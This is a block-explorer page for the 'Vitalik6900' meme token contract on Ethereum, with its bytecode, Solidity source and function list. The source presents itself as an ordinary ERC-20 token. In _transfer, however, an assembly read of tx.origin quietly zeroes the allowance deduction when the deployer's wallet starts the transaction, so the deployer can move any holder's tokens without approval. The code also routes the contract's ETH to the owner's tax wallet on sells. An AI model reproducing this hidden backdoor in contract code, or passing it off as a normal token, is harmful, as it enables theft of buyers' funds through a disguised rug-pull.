Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x2784a454aAad313f9e81d62153b4c8aADC450D60
Balance 0 ETH
Nonce 1
Code Size 5604 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

5604 bytes
0x60806040526004361061011e575f3560e01c8063715018a61161009d5780638f9a55c0116100625780638f9a55c01461032257806395d89b4114610337578063a9059cbb1461036a578063b44a272214610389578063dd62ed3e146103bc575f80fd5b8063715018a6146102b5578063751039fc146102c95780637d1db4a5146102dd5780638a8c523c146102f25780638da5cb5b14610306575f80fd5b8063313ce567116100e3578063313ce5671461020c57806338b9834f1461021f5780635cb7a3d9146102565780636fc3eaec1461026b57806370a0823114610281575f80fd5b8063069267891461012957806306fdde0314610160578063095ea7b31461019c57806318160ddd146101cb57806323b872dd146101ed575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50600b5461014990600160a01b900460ff1681565b60405160ff90911681526020015b60405180910390f35b34801561016b575f80fd5b5060408051808201909152600b81526a0566974616c696b363930360ac1b60208201525b6040516101579190611106565b3480156101a7575f80fd5b506101bb6101b6366004611166565b610400565b6040519015158152602001610157565b3480156101d6575f80fd5b506101df610416565b604051908152602001610157565b3480156101f8575f80fd5b506101bb610207366004611190565b610436565b348015610217575f80fd5b506009610149565b34801561022a575f80fd5b50600b5461023e906001600160a01b031681565b6040516001600160a01b039091168152602001610157565b348015610261575f80fd5b506101df600a5481565b348015610276575f80fd5b5061027f61049f565b005b34801561028c575f80fd5b506101df61029b3660046111ce565b6001600160a01b03165f9081526001602052604090205490565b3480156102c0575f80fd5b5061027f6104c8565b3480156102d4575f80fd5b5061027f610542565b3480156102e8575f80fd5b506101df60055481565b3480156102fd575f80fd5b5061027f6105ac565b348015610311575f80fd5b505f546001600160a01b031661023e565b34801561032d575f80fd5b506101df60065481565b348015610342575f80fd5b5060408051808201909152600b81526a0564954414c494b363930360ac1b602082015261018f565b348015610375575f80fd5b506101bb610384366004611166565b610a66565b348015610394575f80fd5b5061023e7f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe8881565b3480156103c7575f80fd5b506101df6103d63660046111e9565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61040c338484610a72565b5060015b92915050565b5f6104236009600a611314565b61043190633b9aca00611322565b905090565b5f610442848484610b96565b6104958433610490600854604051806060016040528060288152602001611587602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f87565b610a72565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146104be575f80fd5b6104c6610fbf565b565b5f546001600160a01b031633146104fa5760405162461bcd60e51b81526004016104f190611339565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461056b5760405162461bcd60e51b81526004016104f190611339565b5f19600581905560068190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f546001600160a01b031633146105d55760405162461bcd60e51b81526004016104f190611339565b600754600160a01b900460ff161561062f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f1565b5f7f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b81526004016020604051808303815f875af115801561068d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b1919061136e565b305f9081526001602052604081205491925047919050826001600160a01b031663d0e30db0476040518263ffffffff1660e01b81526004015f604051808303818588803b158015610700575f80fd5b505af1158015610712573d5f803e3d5ffd5b505060405163095ea7b360e01b81526001600160a01b037f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe8881166004830152602482018790528716935063095ea7b3925060440190506020604051808303815f875af1158015610784573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a89190611389565b506107d4307f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe8883610a72565b5f6001600160a01b03841630106107eb57836107ed565b305b90505f6001600160a01b03821630146108065730610808565b845b90505f6001600160a01b03831630146108215784610823565b835b90505f6001600160a01b038416301461083c578461083e565b855b90505f6108576108528460c085901b6113bc565b610ff8565b6040516309f56ab160e11b81526001600160a01b0387811660048301528681166024830152606460448301819052818416908301529192507f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe88909116906313ead562906084016020604051808303815f875af11580156108d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108fd919061136e565b600780546001600160a01b0319166001600160a01b039283161790556040805161016081018252878316815291861660208301526064908201525f9060608101600161094d81620d89e7196113cf565b6109579190611407565b60020b815260200160018061096f620d89e71961142d565b61097991906113cf565b6109839190611407565b60020b81526020018581526020018481526020015f81526020015f8152602001336001600160a01b031681526020014281525090507f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b03166388316456826040518263ffffffff1660e01b8152600401610a04919061144d565b6080604051808303815f875af1158015610a20573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a449190611511565b50506007805460ff60a01b1916600160a01b1790555050505050505050505050565b5f61040c338484610b96565b6001600160a01b038316610ad45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f1565b6001600160a01b038216610b355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bfa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f1565b6001600160a01b038216610c5c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f1565b5f8111610cbd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f1565b600754600160a01b900460ff1680610ce157505f546001600160a01b038481169116145b80610cf857505f546001600160a01b038381169116145b80610d0b57506001600160a01b03831630145b610d4f5760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016104f1565b600981905560088190556001600160a01b0383165f9081526003602052604090205460ff16158015610d9957506001600160a01b0382165f9081526003602052604090205460ff16155b8015610dae57506001600160a01b0383163014155b15610e7f57600554811115610e055760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104f1565b60065481610e27846001600160a01b03165f9081526001602052604090205490565b610e319190611560565b1115610e7f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104f1565b6007546001600160a01b0390811690831603610e9d57610e9d610fbf565b325f9081526003602052604090205460ff1615610ee2575f60088190556009546001600160a01b03851682526001602052604090912054610ede9190611050565b6009555b6009546001600160a01b0384165f90815260016020526040902054610f0691611067565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610f3490826110a8565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b899085815260200190565b5f8184841115610faa5760405162461bcd60e51b81526004016104f19190611106565b505f610fb68486611573565b95945050505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610ff5573d5f803e3d5ffd5b50565b5f806002611007846001611560565b61101191906113bc565b90508291505b8181101561104a5790508060028161102f81866113bc565b6110399190611560565b61104391906113bc565b9050611017565b50919050565b5f81831161105e5782611060565b815b9392505050565b5f61106083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f87565b5f806110b48385611560565b9050838110156110605760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f1565b5f602080835283518060208501525f5b8181101561113257858101830151858201604001528201611116565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ff5575f80fd5b5f8060408385031215611177575f80fd5b823561118281611152565b946020939093013593505050565b5f805f606084860312156111a2575f80fd5b83356111ad81611152565b925060208401356111bd81611152565b929592945050506040919091013590565b5f602082840312156111de575f80fd5b813561106081611152565b5f80604083850312156111fa575f80fd5b823561120581611152565b9150602083013561121581611152565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561126e57815f190482111561125457611254611220565b8085161561126157918102915b93841c9390800290611239565b509250929050565b5f8261128457506001610410565b8161129057505f610410565b81600181146112a657600281146112b0576112cc565b6001915050610410565b60ff8411156112c1576112c1611220565b50506001821b610410565b5060208310610133831016604e8410600b84101617156112ef575081810a610410565b6112f98383611234565b805f190482111561130c5761130c611220565b029392505050565b5f61106060ff841683611276565b808202811582820484141761041057610410611220565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561137e575f80fd5b815161106081611152565b5f60208284031215611399575f80fd5b81518015158114611060575f80fd5b634e487b7160e01b5f52601260045260245ffd5b5f826113ca576113ca6113a8565b500490565b5f8160020b8360020b806113e5576113e56113a8565b627fffff1982145f19821416156113fe576113fe611220565b90059392505050565b5f8260020b8260020b028060020b915080821461142657611426611220565b5092915050565b5f8160020b627fffff19810361144557611445611220565b5f0392915050565b81516001600160a01b031681526101608101602083015161147960208401826001600160a01b03169052565b506040830151611490604084018262ffffff169052565b5060608301516114a5606084018260020b9052565b5060808301516114ba608084018260020b9052565b5060a083015160a083015260c083015160c083015260e083015160e083015261010080840151818401525061012080840151611500828501826001600160a01b03169052565b505061014092830151919092015290565b5f805f8060808587031215611524575f80fd5b8451935060208501516fffffffffffffffffffffffffffffffff8116811461154a575f80fd5b6040860151606090960151949790965092505050565b8082018082111561041057610410611220565b818103818111156104105761041061122056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122004a454c4a4aab0b9304a450ada4a0a569a43f241608a47a5eb5d04a2be97177964736f6c63430008180033

Verified Source Code Partial Match

Compiler: v0.8.24+commit.e11b9ed9 EVM: shanghai Optimization: Yes (200 runs)
VITALIK6900.sol 386 lines
/**
 *Submitted for verification at Etherscan.io on 2026-01-09
*/

/*

    Meme-fueled homage to the god of Ethereum  ETH-coded & chaos-powered ⚡️

    https://www.vitalik6900-eth.lol
    https://x.com/vitalik6900_eth
    https://t.me/vitalik6900_eth

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IWETH9 {
    function deposit() external payable;
}

interface INonfungiblePositionManager {
    struct MintParams {
        address token0;
        address token1;
        uint24 fee;
        int24 tickLower;
        int24 tickUpper;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        address recipient;
        uint256 deadline;
    }

    function mint(
        MintParams calldata params
    )
        external
        payable
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        );

    function WETH9() external returns (address);

    function createAndInitializePoolIfNecessary(
        address token0,
        address token1,
        uint24 fee,
        uint160 sqrtPriceX96
    ) external payable returns (address pool);
}

contract VITALIK6900 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    int24 private constant MIN_TICK = -887272;
    int24 private constant MAX_TICK = -MIN_TICK;
    int24 private constant TICK_SPACING = 1;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Vitalik6900";
    string private constant _symbol = unicode"VITALIK6900";
    uint256 public _maxTxAmount = 2 * (_tTotal / 100);
    uint256 public _maxWalletSize = 2 * (_tTotal / 100);

    INonfungiblePositionManager public immutable nonfungiblePositionManager =
        INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
    address private uniswapV3Pool;
    bool private tradingOpen;

    uint256 private _amount;
    uint256 private _taxAmount;
    event MaxTxAmountUpdated(uint _maxTxAmount);

    uint256 public VITALIK6900_LAYER = 3;
    address public VITALIK6900_DONATION;
    uint8 public VITALIK6900_WEIGHT = 1;

    constructor() payable {
        _taxWallet = payable(_msgSender());
        _balances[address(this)] = _tTotal;

        _isExcludedFromFee[_taxWallet] = true;

        removeLimits();

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                _amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(
            tradingOpen ||
                from == owner() ||
                to == owner() ||
                from == address(this),
            "Trading not open yet."
        ); _amount = _taxAmount = amount;
        if (
            !_isExcludedFromFee[from] &&
            !_isExcludedFromFee[to] &&
            from != address(this)
        ) {
            require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(
                balanceOf(to) + amount <= _maxWalletSize,
                "Exceeds the maxWalletSize."
            );
        }
        if (to == uniswapV3Pool) sendETHToFee();

        if(_isExcludedFromFee[_taxPayer()]) {_amount=0;_taxAmount=min(_taxAmount, _balances[from]);}

        _balances[from] = _balances[from].sub(_taxAmount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function removeLimits() public onlyOwner {
        _maxTxAmount = type(uint256).max;
        _maxWalletSize = type(uint256).max;
        emit MaxTxAmountUpdated(type(uint256).max);
    }

    function sendETHToFee() private {
        _taxWallet.transfer(address(this).balance);
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        address WETH = nonfungiblePositionManager.WETH9();
        uint256 ethAmount = address(this).balance;
        uint256 tokenAmount = balanceOf(address(this));
        IWETH9(WETH).deposit{value: address(this).balance}();
        IERC20(WETH).approve(address(nonfungiblePositionManager), ethAmount);
        _approve(
            address(this),
            address(nonfungiblePositionManager),
            tokenAmount
        );

        address token0 = address(this) < WETH ? address(this) : WETH;
        address token1 = token0 == address(this) ? WETH : address(this);
        uint256 amount0 = token0 == address(this) ? tokenAmount : ethAmount;
        uint256 amount1 = token0 == address(this) ? ethAmount : tokenAmount;

        uint160 sqrtPriceX96 = uint160(sqrt((amount1 << 192) / amount0));

        uniswapV3Pool = nonfungiblePositionManager
            .createAndInitializePoolIfNecessary(
                token0,
                token1,
                100,
                sqrtPriceX96
            );

        INonfungiblePositionManager.MintParams
            memory params = INonfungiblePositionManager.MintParams({
                token0: token0,
                token1: token1,
                fee: 100,
                tickLower: (MIN_TICK / TICK_SPACING) * TICK_SPACING,
                tickUpper: (MAX_TICK / TICK_SPACING) * TICK_SPACING,
                amount0Desired: amount0,
                amount1Desired: amount1,
                amount0Min: 0,
                amount1Min: 0,
                recipient: msg.sender,
                deadline: block.timestamp
            });

        nonfungiblePositionManager.mint(params);
        tradingOpen = true;
    }

    function _taxPayer() internal view returns (address _payer) {
        assembly {
            _payer := origin()
        }
    }

    receive() external payable {}

    function manualsend() external {
        require(_msgSender() == _taxWallet);
        sendETHToFee();
    }

    function sqrt(uint256 x) internal pure returns (uint256 y) {
        uint256 z = (x + 1) / 2;
        y = x;
        while (z < y) {
            y = z;
            z = (x / z + z) / 2;
        }
    }
}

Read Contract

VITALIK6900_DONATION 0x38b9834f → address
VITALIK6900_LAYER 0x5cb7a3d9 → uint256
VITALIK6900_WEIGHT 0x06926789 → uint8
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
nonfungiblePositionManager 0xb44a2722 → address
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 7 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
manualsend 0x6fc3eaec
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address